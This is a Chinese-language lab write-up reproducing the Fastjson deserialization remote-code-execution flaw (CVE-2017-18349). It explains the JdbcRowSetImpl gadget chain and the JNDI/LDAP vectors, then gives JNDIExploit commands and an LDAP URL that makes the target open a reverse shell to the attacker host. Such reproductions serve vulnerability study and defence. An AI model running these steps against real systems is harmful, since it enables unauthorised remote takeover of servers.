CVE-2017-18349 Fastjson反序列化漏洞复现
漏洞类型
1 | fastjson反序列化命令执行 |
影响版本
1 | Fastjson <= 1.2.24 |
目标IP
1 | 192.168.121.128 |
攻击机IP
1 | 192.168.121.1 |
工具
1 | https://github.com/zzwlpx/JNDIExploit |
漏洞复现
基础概念
fastjson在json数据中使用@type属性时,该json数据会被反序列化为指定的对象类型
在反序列化过程中fastjson会调用parse()函数,对对象的属性进行赋值
若对象的javabean存在属性的set方法则调用setXXX(),否则调用getXXX()方法
java的反序列化有两种利用方式:
基于RMI
1
2
3
4
5RMI (Remote Method Invocation)是一种行为,指的是Java远程方法调用
适用JDK(Java Development Kit)版本:JDK 6u132 、JDK 7u131 、JDK 8u121之前。
在JDK8u122时,加入了反序列化白名单机制,关闭了RMI远程加载代码。基于LDAP
1
2
3
4
5
6
7LDAP (Lightweight Directory Access Protocol),是轻量级目录访问协议
适用JDK版本:JDK 6u211 、JDK 7u201 、JDK 8u191 、JDK 11.0.1之前
在JDK 8u191更新中,Oracle对LDAP向量进行了限制,关闭了JNDI远程类加载
LDAP的利用范围比RMI更大,实战更推荐使用LDAP进行利用
构造payload
先进入镜像查看一下jdk版本信息为JDK 8u102
此时的JDK版本即可以使用RMI,也可以使用LDAP进行利用
存在漏洞的利用链为com.sun.rowset.JdbcRowSetImpl
@type
指定利用链,dataSourceName
指定恶意的LDAP或RMI地址,autoCommit
值为true表示自动连接
构造payload,假设需要执行的json语句如下
1 | { |
若执行了上面的json语句,fastjson会先执行setSourceName
方法
然后执行setAutoCommit
的时候,会自动连接设置的dataSourceName
属性
最终获取到TouchFile
类,并执行恶意类的构造函数
漏洞利用
目标机器存在一个GET请求可以让用户提交json数据信息
先在攻击机上开启一个RMI或LDAP服务,同时运行一个恶意java类
使用工具JNDIExploit-1.2-SNAPSHOT.jar
进行漏洞利用,先使用-u
查看可用的参数
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -u |
之后需要反弹shell就只需要如下的参数
1 | ldap://null:1389/Basic/ReverseShell/[ip]/[port] |
使用工具,在1388端口开启LDAP服务,8081端口是HTTP服务(只需要端口不占用即可)
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.121.1 -l 1388 -p 8081 |
启用LDAP服务的是192.168.121.1:1388
反弹shell的是192.168.121.1:7777
1 | ldap://192.168.121.1:1388/Basic/ReverseShell/192.168.121.1/7777 |
LDAP服务机子收到了来自目标的请求信息,并编译生成了class类执行反弹shell命令
成功收到反弹shell